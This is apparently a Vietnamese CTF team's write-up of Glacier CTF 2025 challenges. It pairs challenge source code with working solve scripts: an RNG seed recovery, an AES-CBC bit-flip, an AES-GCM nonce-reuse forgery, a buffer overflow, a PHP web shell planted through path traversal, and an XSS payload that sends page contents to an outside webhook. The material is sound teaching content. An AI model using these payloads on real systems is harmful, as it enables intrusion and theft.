---
# System prepended metadata

title: Glacier CTF 2025

---

# Crypto

## C.M.P.R.W
Source code:
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
from Crypto.Util.number import bytes_to_long
import networkx as nx

def graph(tags: list):
    assert(len(tags) == 5)
    G = nx.DiGraph()
    G.add_nodes_from(tags)
    edges = []
    for i in range(len(tags)):
        j1, j2 = (i+1) % len(tags), (i+3) % len(tags)
        edges.append((tags[i], tags[j1]))
        edges.append((tags[i], tags[j2]))
    G.add_edges_from(edges)
    return G

TAGS = ["crypto", "misc", "pwn", "rev", "web"]

GRAPH = graph(TAGS)

def result(s1: str, s2: str):
    if (s1 == s2):
        return "tie"

    if ((s1, s2) in GRAPH.edges):
        return "win"
    elif ((s2, s1) in GRAPH.edges):
        return "lose"

def RNGesus():
    state = bytes_to_long(os.urandom(8))
    while (True):
        yield state & 0xf
        for _ in range(4):
            bit = (state ^ (state >> 3) ^ (state >> 7)) & 1
            state = (state >> 1) | (bit << 63)

def main():

    n = 100

    print("Welcome to C.M.P.R.W.")
    print(f"If you win against the computer {n * 2} time in a row. You may claim our [SPECIAL] reward.")
    print("Here, have some free trials as new-comer goodies.")

    rng = RNGesus()

    for _ in range(n):
        choice = next(rng) % 5
        inp = input("Choose one of 'crypto', 'misc', 'pwn', 'rev', 'web': ")
        if (inp not in TAGS):
            print("error")
            exit(0)
        else:
            res = result(inp, TAGS[choice])
            print(res)

    for _ in range(n * 2):
        choice = next(rng) % 5
        inp = input("Choose one of 'crypto', 'misc', 'pwn', 'rev', 'web': ")
        if (inp not in TAGS):
            print("error")
            exit(0)
        else:
            res = result(inp, TAGS[choice])
            print(res)
            if (res != "win"):
                print("Sorry. Better luck next time.")
                exit(0)
    else:
        with open("flag.txt", "r") as f:
            print(f"Congratulations! Here is your prize! {f.read()}")


if __name__ == "__main__":
    SystemExit(main())
```

Phân tích một chút về bài này, server cho ta một hàm custom RNG là `RNGesus`. Hàm này sẽ sinh ra một số trong khoảng [0..15], mục đích của ta là phải **predict** được hàm này để có thể tính được giá trị mà nó trả về. Từ đó bypass được `n*2` lượt để lấy `FLAG`.

Để server trả về `win` đối với mỗi round thì ta phải chọn các lựa chọn thích hợp (tương ứng với cạnh của đồ thị mà server tạo ra).

Bài này mình đã sử dụng `z3` để **symbolic** lại hàm `RNGesus` từ đó recover lại được `seed` ban đầu. Cụ thể hơn: 
- Ban đầu khởi tạo một cái `BitVec` gồm 64-bit đại diện cho trạng thái đầu tiên `state_0`.
- Chơi thử 100 round: 
    - Cố định một lựa chọn mà mình sẽ gửi qua cả 100 round (mình chọn `crypto`).
    - Tính giá trị đầu ra tại mỗi round `i`: `output_val = current_state & 0xf`.
    - Thêm các ràng buộc từ kết quả mà server trả về.
    - Cập nhật trạng thái giống như hàm `RNGesus()` nhưng trên biểu thức **symbolic**.

Sau khi thêm các ràng buộc vào thì mình `solver.check()` để tìm `seed` ban đầu. Khi đó mình đã kiểm soát được giá trị của hàm `RNGesus()` trả về sẽ là gì rồi. Bypass `n*2` vòng và lấy `Flag`.

Solve script:
```python=
from pwn import *
from z3 import *
import time

io = remote('challs.glacierctf.com', 13375, level='debug')

TAGS = ["crypto", "misc", "pwn", "rev", "web"]

def get_winning_move(computer_idx):
    for p in range(5):
        j1 = (p + 1) % 5
        j2 = (p + 3) % 5
        if j1 == computer_idx or j2 == computer_idx:
            return TAGS[p]
    return TAGS[0]

def z3_lfsr_step(state):
    bit = (state ^ LShR(state, 3) ^ LShR(state, 7)) & 1
    new_state = LShR(state, 1) | (bit << 63)
    return new_state

def python_lfsr_step(state):
    bit = (state ^ (state >> 3) ^ (state >> 7)) & 1
    state = (state >> 1) | (bit << 63)
    return state & 0xffffffffffffffff

def solve():
    try:
        io.recvuntil(b"new-comer goodies.\n")

        solver = Solver()
        state_0 = BitVec('state_0', 64)
        current_state = state_0

        my_choice_str = TAGS[0].encode()

        start_time = time.time()

        for i in range(100):
            output_val = current_state & 0xf

            io.sendlineafter(b": ", my_choice_str)
            res = io.recvline().strip().decode()

            if res == "tie":
                solver.add(output_val % 5 == 0)
            elif res == "win":
                solver.add(Or(output_val % 5 == 1, output_val % 5 == 3))
            elif res == "lose":
                solver.add(Or(output_val % 5 == 2, output_val % 5 == 4))

            for _ in range(4):
                current_state = z3_lfsr_step(current_state)

        if solver.check() != sat:
            print("No solution found")
            return

        model = solver.model()
        recovered_state = model[state_0].as_long() & 0xffffffffffffffff
        print(f"State: {hex(recovered_state)}")

        real_state = recovered_state
        for _ in range(100):
            for _ in range(4):
                real_state = python_lfsr_step(real_state)

        winning_moves = []

        for i in range(200):
            val = real_state & 0xf
            comp_choice_idx = val % 5

            for _ in range(4):
                real_state = python_lfsr_step(real_state)

            move = get_winning_move(comp_choice_idx)
            winning_moves.append(move)

        payload = "\n".join(winning_moves)

        io.sendline(payload.encode())

        io.interactive()

    except EOFError:
        print("EOFError")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    solve()
    
# gctf{y0u_4r3_7H3_TrUE_rN635u5_n0W_7rY_j3N5H1n_1Mp4C7}
```

## crypto
Source code:
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Respect the shebang and mark file as executable

import base64
import json
import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.Padding import unpad

def main() -> int:

    with open("/flag.txt", "r") as flag_file:
        FLAG = flag_file.read()

    # We choose a random key
    key = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC)

    print("Welcome to AES, the Authentic Engagement Solutions")
    print("The only service that we offer is to greet you")

    while True:
        print("1) Get a token")
        print("2) Redeem a previously issued token")
        print("3) Exit")

        choice = input("> ")

        try:
            choice_int = int(choice)
        except ValueError:
            print("An error occured!")
            continue

        if choice_int == 1:
            print("Hey, what's your name?")
            name = input("> ")
            token = f"admin=0;name={name}".encode()

            ct_bytes = cipher.encrypt(pad(token, AES.block_size))
            iv = base64.b64encode(cipher.iv).decode()
            ct = base64.b64encode(ct_bytes).decode()
            token_enc = json.dumps({'iv':iv, 'ct':ct})

            print(f"Here is your token: {token_enc}")

        elif choice_int == 2:
            print("Hey, what's your token?")
            token_str = input("> ")
            token = json.loads(token_str)

            iv = base64.b64decode(token['iv'])
            ct = base64.b64decode(token['ct'])
            cipher = AES.new(key, AES.MODE_CBC, iv)
            pt = unpad(cipher.decrypt(ct), AES.block_size).decode()

            token_content = {
                part.split("=")[0]: part.split("=")[1]
                for part in pt.split(";")
            }

            print(token_content)
            print(f"Hey {token_content['name']}, thanks for using our service :)")

            if token_content["admin"] != "0":
                print(f"You seem to be admin, take this: {FLAG}")

        elif choice_int == 3:
            print("Thanks for using AES. See you again soon")
            break
        else:
            print("I don't know what you want :(")

    return 0

if __name__ == '__main__':
    raise SystemExit(main())
```
Bài này khá đơn giản, với `choice = 1` thì server sẽ trả về cho ta một token là mã hóa của `admin=0;name=.....`. Còn `choice = 2` thì ta được phép gửi `iv, ct` làm sao để sau khi giải mã kết quả sẽ chứa `admin != 0`. 
Vì đây là mã hóa `AES-CBC`:
![image](https://hackmd.io/_uploads/Hk5x5_W-bg.png)
Nên nếu ta thay 1 bytes ở `IV` thì bytes nằm ở vị trí tương ứng của `plaintext` sẽ cũng bị thay đổi. Từ đó ta chỉ cần tìm một giá trị thích hợp để sau khi mã hóa `admin=1` là được.

Solve script:
```python=
import base64
import json
from pwn import *

# io = process(['python3', '/home/team/CTF Cryptography/crypto/challenge'], level='debug')
io = remote('challs.glacierctf.com', 13387, level='debug')

io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", b"A")
token = io.recvline_contains(b"Here is your token: ").strip().decode().split("token: ")[1]
iv = base64.b64decode(json.loads(token)['iv'])
ct = base64.b64decode(json.loads(token)['ct'])

modified_iv = bytearray(iv)
modified_iv[6] = modified_iv[6] ^ ord('0') ^ ord('1')
modified_token = json.dumps({
    'iv': base64.b64encode(bytes(modified_iv)).decode(),
    'ct': base64.b64encode(ct).decode()
})

io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", modified_token.encode())
io.recvline()
response = io.recvline().decode()

# gctf{fa81f9cb_w3lc0me_t0_cr1pt0_415a74a1}
```

## Noisy Neighbour
Source code:
```python!
import random
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Cipher import AES

ticket = random.getrandbits(128)
FLAG = ""
with open('flag.txt', 'r') as flag:
    FLAG = flag.read()

p = getPrime(1024)
q = getPrime(1024)
N = p * q
phi = (p - 1) * (q - 1)

e = getPrime(16) + (random.getrandbits(128) * phi)
enc_ticket = pow(ticket, e, N)

print(f"{N=}")
print(f"{e=}")
print(f"{enc_ticket=}")

cipher = AES.new(long_to_bytes(ticket), AES.MODE_CTR)
nonce = cipher.nonce
enc_flag = cipher.encrypt(FLAG.encode())

print(f"{enc_flag, nonce=}")
```
Đây là một bài RSA với số mũ `e` khá lớn. Làm một số phép biến đổi:
\begin{gather*}
e = e_0 + k \cdot \phi(N) \\
\Rightarrow e \approx k \cdot \phi(N) \ \ \ \ (\text{vì e khá nhỏ}) \\
\Rightarrow e \approx k \cdot N \\
\Rightarrow k \approx \lfloor \frac{e}{N} \rfloor \\
\Rightarrow k = \frac{e}{N} + 1 \\
\Rightarrow e_0 = e \pmod k \\
\Rightarrow \phi(N) = \frac{e - e_0}{k}
\end{gather*}

Khi tính được $\phi(n)$ rồi thì việc còn lại rất đơn giản là giải RSA như thông thường.

Solve script:
```python=
from Crypto.Util.number import *
from Crypto.Cipher import AES

N=10347242542600406308094534195263088635791365996714020803160250407603636995099715433829129670160192589093770515128152510439089971458386641765448309859819378023880272965050178277879093516918807566027042642100169240017844173793930784667163759562215010481356537422986546632994001754291723194969521748076910835396937977810627980887157551885113202531423733595088875369751631232226097581969479909313254958049277471499732135617616297332871531530596176518111563310557213028740425533103112982126293232786326119238512934754974514742881890899165547139605333761970683944591937361699420431036603767467012489183290578309164784178633
e=3311986667073495779819661492647781665180928338729865042826968893121477288104028672415705332665972755867861711304085148957997662937288947383110908043717598599426017484422084809208910486092822909662298925085867663251659781025068175951771651187222278814345138470007111789992552003468482347964267103806504197977364231330649526292875722283219443425291497285240653190201781346512871589039622122806771109809220085787813190940121150761761463256791250036396820146924876913040030532187290384737376868592733044732294197676117676820815598675412056870600146382869883717018539905436358459822165326225070894181935206514146099686162267119751019096873609300804816456005907
enc_ticket=3946420937017846250393019311609396457338463614723557172414418971956390767261563151514428488890805225021688212721862533753952638354812535035364278722859438604041154655180097577414599710778354857775161040850623041785446044819204867397065653667589062151439260152909905577160138599029484856249429267771263679704326352858922042179435551285375575126876142413991900659195467217772357193174598528534725223102658732326697336473387891654610296170800740197748092566321210843941286260968460061251471684295914144882122101706465054524774059725005866235986370176677629767819073609117398726398647883974883695216900279944685266429904
enc_flag, nonce=(b'`\x8d\x9e\x1e\xd4!\xf5\xe3\xf8,\xfb\x16UV\xcc\xae\xe6G\x91F\x06\x157)\x99|;\xb0\xf5\x87\xa2R\xa8\xd4H\xd16\xa6\xd6\xd1r\xe7 C\xd6i\x83\xb9\xf9\xf7f=\xab\x16', b'\xf1\xdbF)\x91\xc5\xb4$')

k = (e // N) + 1
e_prime = e % k
phi = (e - e_prime) // k

d = inverse(e_prime, phi)
ticket = pow(enc_ticket, d, N)

cipher = AES.new(long_to_bytes(ticket), AES.MODE_CTR, nonce=nonce)
flag = cipher.decrypt(enc_flag)
print(flag)

# gctf{c0pp3rsm17h_ste4ling_y0ur_sm4ll_r00ts_2025-2079}
```

## AES zippy
Source code: 
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import zlib
import base64
from Crypto.Cipher import AES

KEY = os.urandom(16)
USED_NONCES = []
ADMIN_SECRET = b"Glacier CTF Open"
ADMIN_LOGS = ""
NORMAL_LOGS = ""
MAX_STORAGE = 1 << 16


def decrypt(ct: bytes, nonce: bytes, tag: bytes) -> bytes:
    ad = b"GlacierCTF2025"

    cipher = AES.new(KEY, AES.MODE_GCM, nonce=nonce)
    cipher.update(ad)
    try:
        decrypted = cipher.decrypt_and_verify(ct, tag)
    except:
        raise ValueError("Invalid tag")

    return decrypted


def encrypt(pt: bytes, nonce: bytes = os.urandom(16)):
    ad = b"GlacierCTF2025"

    cipher = AES.new(KEY, AES.MODE_GCM, nonce=nonce)
    cipher.update(ad)

    ct, tag = cipher.encrypt_and_digest(pt)

    return ct, nonce, tag


def test_init():
    global ADMIN_LOGS

    pt = b"Hello GlacierCTF"

    ct, nonce, tag = encrypt(pt)
    assert pt == decrypt(ct, nonce, tag)

    ADMIN_LOGS += f"[+] Nonce: {base64.b64encode(nonce).decode()}\n"
    ADMIN_LOGS += f"[+] Tag: {base64.b64encode(tag).decode()}\n"


def get_size() -> int:
    global ADMIN_LOGS, NORMAL_LOGS, USED_NONCES

    full_state: bytes = ADMIN_LOGS.encode() + NORMAL_LOGS.encode()

    return len(zlib.compress(full_state)) + len(USED_NONCES)*16


def print_help():
    print("[0] Encrypt a file")
    print("[1] Access admin files")


def main():
    global NORMAL_LOGS
    print("[+] Welcome to the Glacier encryption service")
    test_init()
    while get_size() < MAX_STORAGE:
        try:
            print_help()
            choice = int(input("Choose action:\n> "))
            if choice == 0:
                pt = bytes.fromhex(input("Plaintext:\n> "))
                nonce = bytes.fromhex(input("Nonce:\n> "))

                if nonce in USED_NONCES or ADMIN_SECRET in pt:
                    return

                USED_NONCES.append(nonce)
                ct, nonce, tag = encrypt(pt, nonce)

                NORMAL_LOGS = f"{pt.hex()=} = {ct.hex()=}, {tag.hex()=}"
                print(NORMAL_LOGS)
                NORMAL_LOGS = f"{pt}"

                print(f"[+] Storage left: {get_size()}/{MAX_STORAGE} bytes")
            elif choice == 1:
                ct = bytes.fromhex(input("Ciphertext:\n> "))
                nonce = bytes.fromhex(input("Nonce:\n> "))
                tag = bytes.fromhex(input("Tag:\n> "))

                pt = decrypt(ct, nonce, tag)

                if ADMIN_SECRET in pt:
                    print("[+] Access granted to admin files!")
                    with open("flag.txt", "r") as flag:
                        print(f"{flag.read()}")
                return
            else:
                return
        except:
            return
    return


if __name__ == "__main__":
    main()
```
Bug chính của bài này đó chính là việc server đã sử dụng `nonce, tag` trong hàm `test_init()` nhưng lại không lưu `nonce` và `USED_NONCES`. Điều đó làm cho ta có thể đi theo hướng là recover lại 2 tham số đó, sau đó sử dụng `nonce` đó để mã hóa dữ liệu riêng của ta. Từ đó bài toán trở thành `reuse nonce in AES-GCM` (xem chi tiết ở [đây](https://frereit.de/aes_gcm/)).

Vậy làm sao để recover lại `nonce, tag` của `admin` ?

Ta nhận thấy ở `choice = 0`, server sẽ tính `get_size()` (function này sử dụng hàm `zlib.compress` để nén lại và trả về độ dài sau khi nén) cho ta biết giá trị đó. Đây chính là một cái **Oracle** mà ta có thể exploit để recover. 

Mục tiêu của chính là làm rò rỉ các chuỗi `Base64` của `nonce, tag` được in ra trong `ADMIN_LOGS`. Ta đã biết, kích thước của chuỗi sau khi `zlib.compress` sẽ thay đổi nếu chuỗi ta gửi (`NORMAL_LOGS`) khớp một phần với `ADMIN_LOGS`. Từ đó, ta sẽ thử gửi từng kí tự trong `Base64`, nếu như hàm nén trả về độ dài ngắn hơn thì chứng tỏ nó sẽ giống với phần prefix là `ADMIN_LOGS` hơn. 

Sau khi recover được `nonce, tag` của `admin` rồi. Việc còn lại là sử dụng kĩ thuật `forge tag` của AES-GCM trong ngữ cảnh **reuse nonce**. 

```python=
from pwn import *
import string
import sys
import forbidden_attack

context.log_level = 'error'
context.timeout = 5

REQUEST_COUNT = 0

def get_size(io, payload):
    global REQUEST_COUNT
    try:
        io.sendline(b"0")

        io.sendlineafter(b"Plaintext:\n> ", payload.hex().encode())

        nonce = os.urandom(16)
        io.sendlineafter(b"Nonce:\n> ", nonce.hex().encode())

        REQUEST_COUNT += 1

        io.recvuntil(b"Storage left: ")
        line = io.recvline().decode().strip()
        raw_size = int(line.split('/')[0])

        compressed_size = raw_size - (REQUEST_COUNT * 16)

        io.recvuntil(b"Choose action:\n> ")

        return compressed_size
    except:
        return 999999

def leak_secret(io, prefix):
    known = prefix
    charset = string.ascii_letters + string.digits + "+/="

    global REQUEST_COUNT

    while True:
        candidates = {}

        payloads = []
        for char in charset:
            probe = (known + char).encode()
            payloads.append((char, probe))

        for char, probe in payloads:
            io.sendline(b"0")
            io.sendline(probe.hex().encode())
            nonce = os.urandom(16)
            io.sendline(nonce.hex().encode())

        for i, (char, probe) in enumerate(payloads):
            try:
                REQUEST_COUNT += 1

                io.recvuntil(b"Storage left: ")
                line = io.recvline().decode().strip()
                raw_size = int(line.split('/')[0])

                compressed_size = raw_size - (REQUEST_COUNT * 16)

                io.recvuntil(b"Choose action:\n> ")

                candidates[char] = compressed_size
            except:
                return known[len(prefix):]

        min_size = min(candidates.values())
        best_chars = [c for c, s in candidates.items() if s == min_size]

        if len(best_chars) == 1:
            best_char = best_chars[0]
            known += best_char

            if best_char == "\n" or len(known) > 100:
                break

            if best_char == "=":
                pass

            if len(known) - len(prefix) >= 24:
                break
        else:
            break

    return known[len(prefix):]

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def main():
    if args.REMOTE:
        io = remote("challs.glacierctf.com", 13373, level='debug')
    else:
        io = process(['python3', 'challenge'])

    io.recvuntil(b"Choose action:\n> ")

    try:
        nonce_b64 = leak_secret(io, "[+] Nonce: ")
        tag_b64 = leak_secret(io, "[+] Tag: ")

        nonce_admin = base64.b64decode(nonce_b64.strip())
        tag_admin = base64.b64decode(tag_b64.strip())

        P_admin = b"Hello GlacierCTF"

        io.sendline(b"0")

        P_ours = b"A" * 16
        io.sendlineafter(b"Plaintext:\n> ", P_ours.hex().encode())

        io.sendlineafter(b"Nonce:\n> ", nonce_admin.hex().encode())

        global REQUEST_COUNT
        REQUEST_COUNT += 1

        line = io.recvline().decode().strip()

        import re
        m_ct = re.search(r"ct\.hex\(\)='([0-9a-f]+)'", line)
        m_tag = re.search(r"tag\.hex\(\)='([0-9a-f]+)'", line)

        C_ours_hex = m_ct.group(1)
        Tag_ours_hex = m_tag.group(1)

        C_ours = bytes.fromhex(C_ours_hex)
        Tag_ours = bytes.fromhex(Tag_ours_hex)

        io.recvuntil(b"Storage left: ")
        io.recvline()
        io.recvuntil(b"Choose action:\n> ")

        K = xor_bytes(C_ours, P_ours)

        C_admin = xor_bytes(P_admin, K)

        possible_keys = list(forbidden_attack.recover_possible_auth_keys(
            b"", C_admin, tag_admin,
            b"", C_ours, Tag_ours
        ))

        ADMIN_SECRET = b"Glacier CTF Open"
        P_flag_request = ADMIN_SECRET
        if len(P_flag_request) < 16:
            P_flag_request += b'\x00' * (16 - len(P_flag_request))

        C_flag_request = xor_bytes(P_flag_request, K)

        for i, H in enumerate(possible_keys):
            Tag_flag_request = forbidden_attack.forge_tag(
                H,
                b"", C_admin, tag_admin,
                b"", C_flag_request
            )

            io.sendline(b"1")
            io.sendlineafter(b"Ciphertext:\n> ", C_flag_request.hex().encode())
            io.sendlineafter(b"Nonce:\n> ", nonce_admin.hex().encode())
            io.sendlineafter(b"Tag:\n> ", Tag_flag_request.hex().encode())

            response = io.recvall(timeout=2).decode()
            return response
    except:
        return ""
    finally:
        io.close()

if __name__ == "__main__":
    print(main())

# gctf{ZiPPY_iS_0UT_heRE_5NItchin6_on_@lL_tHE_nONC3s}
```



# PWN
## pwn
Source code:
```cpp=
#include <stdio.h>
#include <stdlib.h>

void win() {
  FILE *f = fopen("/flag.txt", "r");
  if(f == NULL)
    exit(1);

  char flag[256];
  char *r = fgets(flag, 256, f);
  printf("%s\n", flag);
}

void challenge() {
  char buf[0666];
  printf("Enter your input now:\n");
  fread(buf, 1, 666, stdin);
}

int main() {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin,  NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  challenge();

  return 0;
}
```
Bài này có một lỗi buffer overflow ở hàm `fread`, hàm đang read 666 bytes trong khi biến `buf` chỉ có 0666 (octal) = 438 (decimal) bytes.
Như vậy, chúng ta có thể ghi đè return address của hàm `challenge()` để jump về hàm `win()`.
Trước tiên, check security của file binary:
- `PIE off` -> address của `win()` ở local sẽ giống trên server.
- `Canary off` -> không cần leak canary.
 
![image](https://hackmd.io/_uploads/ryskadWb-x.png)
Check địa chỉ của `win()` là `0x4011d6`.
![image](https://hackmd.io/_uploads/HkyKvTWZ-x.png)
Bây giờ, chúng ta sẽ check offset giữa `buf` và return address. Có thể thấy được, `challenge` dành cho biến local 0x1c0 = 448 btyes.
![image](https://hackmd.io/_uploads/Hy3npuWbZx.png)
Vậy payload là `448 bytes junk` + `8 bytes rbp` + `win() address` + `202 bytes junk`.

Solve Script:
```python!
from pwn import *

s = remote('challs.glacierctf.com', 13388)
print(s.recvuntil(b'Enter your input now:\n'))

payload  = b'A' * (448+8)
payload += p64(0x4011d6)   
payload += b'A' * (666-len(payload)) 

s.send(payload)
print(s.recvall().decode())

# gctf{3097324b_w3lc0me_t0_pwn_e1dab08a}
```
# Reverse

## rev

Logic là bài sẽ cho khá nhiều flag nhưng chỉ lấy flag ở index 592 để check

![image](https://hackmd.io/_uploads/r1K7qWGbZg.png)

Và nó đây

![image](https://hackmd.io/_uploads/H1cBqWM-bg.png)



## Wisdom
Bài này cho chúng ta một file binary, khi sử dụng IDA, chúng ta sẽ thấy được có hàm `check_flag()`
```cpp=
_BOOL8 __fastcall check_flag(_BYTE *a1)
{
  __int64 i; // rdx

  for ( i = 0; i != 46; ++i )
    a1[i] = MAGIC + (KEY[i] ^ a1[i]) - i;
  return memcmp(a1, &FLAG, 0x2Eu) == 0;
}
```
Chỉ cần extract các giá trị `MAGIC`, `KEY[]` và `FLAG` thì chúng ta có thể reverse lại được flag.

Solve script:
```python!
from pwn import xor

MAGIC = "5e"
KEY = '36d1d9db89a5bede5ee60f12021ae1c00b4ca3b008e9a0d0d1ea88712387d041d80409a2fd2002280d758d66a85c000000000000000000000000000000000000'
CHECK_FLAG = 'af0f09184c473344640ebc75bda5d6eea0c9223ab9cf3cd6ebe7fd45bef820b02b6ea7fe02497384a278f088c252'

m = int(MAGIC, 16)
k = bytes.fromhex(KEY)
c = bytes.fromhex(CHECK_FLAG)

flag = ''.join([xor(c[i] - m + i, k[i]).decode() for i in range(len(c))])
print(flag)

# gctf{Ke3P_g0iNg_Y0u_goT_tH1s_00055ba509ea6138}
```


# Web

## web

![image](https://hackmd.io/_uploads/ryhuFbMbbe.png)


Bài này mình đọc source và thấy creds như sau

```json
[
  {
    "username": "test",
    "password": "test",
    "moderator": false
  },
  {
    "username": "alice",
    "password": "WpYcHA1li7@*$Z%mp&W#3ZYIYPw1iVkj",
    "moderator": false
  },
  { 
    "username": "admin",
    "password": "!UCA3P4*Dg@nam4L!oodQK4@TjmC9cnh",
    "moderator": true
  }
]

```


Thử đăng nhập admin ai ngờ được luôn

![image](https://hackmd.io/_uploads/SkBHtWf-Ze.png)



## Glacier ToDo

Source:

```php
<?php

session_start();
header("Content-Type: application/json");
$start = microtime(true);

define("TODOS", "/tmp/todos");
define("USERS", "/tmp/users.json");
define("SESS", "LOGIN_ID");
if(!file_exists(USERS)) file_put_contents(USERS, "[]"); 
if(!is_dir(TODOS)) mkdir(TODOS);

$res = array();
$data = array();
$status = 1;
$path = $_GET["path"];

if($path === "/todos/list") {
  $isLoggedIn = isset($_SESSION[SESS]);
  if(!$isLoggedIn) goto fail;
  $user = $_SESSION[SESS];
  if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
  $todos = json_decode(file_get_contents(TODOS . "/" . $user), true);
  $data["todos"] = array_values($todos);
} elseif($path === "/todos/add") {
  $isLoggedIn = isset($_SESSION[SESS]);
  if(!$isLoggedIn) goto fail;
  $user = $_SESSION[SESS];
  if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
  $todos = json_decode(file_get_contents(TODOS . "/" . $user));
  $name = isset($_POST["name"]) ? filter_input(INPUT_POST, "name") : '';
  $desc = isset($_POST["desc"]) ? filter_input(INPUT_POST, "desc") : '';
  $todos[] = array(
    "id" => uniqid(),
    "name" => $name,
    "desc" => $desc
  );
  file_put_contents(TODOS . "/" . $user, json_encode(array_values($todos)));
} elseif($path === "/todos/remove") {
  $isLoggedIn = isset($_SESSION[SESS]);
  if(!$isLoggedIn) goto fail;
  $user = $_SESSION[SESS];
  if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
  $todos = json_decode(file_get_contents(TODOS . "/" . $user));
  $id = isset($_POST["id"]) ? filter_input(INPUT_POST, "id") : '';
  file_put_contents(TODOS . "/" . $user, json_encode(array_values(array_filter($todos, function($item) use($id) {
    return $item->id !== $id;
  }))));
} elseif($path === "/account/info") {
  $isLoggedIn = isset($_SESSION[SESS]);
  $data["loggedIn"] = $isLoggedIn;  
  $data["username"] = $_SESSION[SESS];  
} elseif($path === "/account/login") {
  $username = isset($_POST["username"]) ? filter_input(INPUT_POST, "username") : '';
  $password = isset($_POST["password"]) ? filter_input(INPUT_POST, "password") : '';
  $users = json_decode(file_get_contents(USERS));
  foreach($users as $user)
    if($user->username === $username && password_verify($password, $user->password))
      goto valid_login;
  goto fail;
  valid_login:
  $_SESSION[SESS] = $username;
} elseif($path === "/account/register") {
  $username = isset($_POST["username"]) ? filter_input(INPUT_POST, "username") : '';
  $password = isset($_POST["password"]) ? filter_input(INPUT_POST, "password") : '';
  $users = json_decode(file_get_contents(USERS));
  foreach($users as $user)
    if($user->username === $username) goto fail;

  $users[] = array(
    "username" => $username,
    "password" => password_hash($password, PASSWORD_DEFAULT)
  );
  file_put_contents(USERS, json_encode($users));
} else {
  http_response_code(404);
}

goto end;
fail:
http_response_code(500);
$status = 0;
end:
$end = microtime(true);
$res["data"] = $data;
$res["success"] = $status;
$res["exec_time"] = $end - $start;
echo json_encode($res);
```

Source có vẻ dài nhưng ta có thể thấy lỗi nằm ở đây:

```php
} elseif($path === "/todos/add") {
  $isLoggedIn = isset($_SESSION[SESS]);
  if(!$isLoggedIn) goto fail;
  $user = $_SESSION[SESS];
  if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
  $todos = json_decode(file_get_contents(TODOS . "/" . $user));
  $name = isset($_POST["name"]) ? filter_input(INPUT_POST, "name") : '';
  $desc = isset($_POST["desc"]) ? filter_input(INPUT_POST, "desc") : '';
  $todos[] = array(
    "id" => uniqid(),
    "name" => $name,
    "desc" => $desc
  );
```

Ta thấy TODOS được add với "/" và tên user nên ta có thể path traversal tại đây và ghi vào file php.

Đầu tiên ta tạo user `../../../../../../var/www/html/a.php`

![image](https://hackmd.io/_uploads/BybcSbzb-e.png)

Sau đó add note với nội dung `<?php system($_GET['cmd']);?>`

![image](https://hackmd.io/_uploads/ryOaS-zbbe.png)

Vào endpoint 

`/a.php?cmd=cat /flag.txt`

![image](https://hackmd.io/_uploads/H1geLWG-Zx.png)



## Glacier AI Store

Giao diện trang web:

![image](https://hackmd.io/_uploads/HJ0YzZz--l.png)

Có thể thấy web cho ta 1 coin, nhưng để có flag phải cần 1000 coin. Thử order 1 stone và đã hết tiền

![image](https://hackmd.io/_uploads/B1xFfWGZbg.png)

Sau một hồi fuzz thì mình có thể race-condition sử dụng 2 hoặc 3 session để order 2 đơn và bán đi sẽ tăng coin

![image](https://hackmd.io/_uploads/HkWDEWfZ-x.png)

Thế là đã có 2 đơn bây giờ bán đi là sẽ tăng coin, cứ lặp lại và khi đủ 10 coin, 100 coin thì tăng mục tiêu lên và cuối cùng lấy được flag.


## Glacier Echo

Ta có endpoint /echo cho phép nhập vào Content-Type và content

![image](https://hackmd.io/_uploads/SknFUWzZZl.png)

Nhưng Content-Type chỉ cho phép text/plain

```python
@csrf_exempt
def echo(request):
    current_user = get_current_user(request)
    if not current_user:
        return HttpResponse(
            "Error: Authentication required. Please login first.", status=401
        )

    content_type = request.GET.get("type", "text/plain")
    parsed_type = parse_options_header(content_type)[0]

    if parsed_type != "text/plain":
        return HttpResponse("Error: Only text/plain are allowed!", status=403)

    message = request.GET.get("message", "")

    try:
        new_echo = Echo.objects.create(
            message=message,
            content_type=content_type,
            ip_address=request.META.get("REMOTE_ADDR"),
            base_station_id=current_user.get("base_station_id"),
        )
        logger.info(
            f"Saved echo to database for(station: {current_user.get('station_id', 'admin')})"
        )
    except Exception as e:
        logger.error(f"Failed to save echo to database: {e}")

    echo_response = f"{message}\n{message}\n{message}"

    response = HttpResponse(echo_response)
    response["Content-Type"] = content_type
    return response
```

Sau một hồi fuzz thì mình tìm được một payload có thể bypass và chuyển content-type về text/html

`/echo?message=<script>alert(1)</script>&type=text/plain;,text/html`


![image](https://hackmd.io/_uploads/BkbwubfbWe.png)

Ok ngon rồi bây giờ ta có payload để xss như sau:

```html
<script>fetch('/control-center').then(r=>r.text()).then(d=>fetch('https://webhook.site/f847fb46-6303-4159-ad63-949a4ed261fb/?a=c',{method: "POST",body:encodeURIComponent(d)}))</script>
```

Add vào và report

![image](https://hackmd.io/_uploads/rkVjd-M-Zg.png)

Check flag trong content

![image](https://hackmd.io/_uploads/BJrCuZMb-g.png)

# Misc

## gitresethard
Challenge cho một repo của github cần được recovery lại sau khi bị reset hard.
Bài này sử dụng `git fsck --dangling` để check các commit không còn được trỏ tới. Khi đó, sẽ thấy được một commit lạ.
![image](https://hackmd.io/_uploads/rJmx_-NW-e.png)
Khi `git checkout` tới commit đó, thì thấy được hint mà description để lại
![image](https://hackmd.io/_uploads/r1rodb4WWg.png)
Chúng ta có thể lấy được flag với chương trình `shit` trong folder `carpet`.
![image](https://hackmd.io/_uploads/HkYJtW4-be.png)
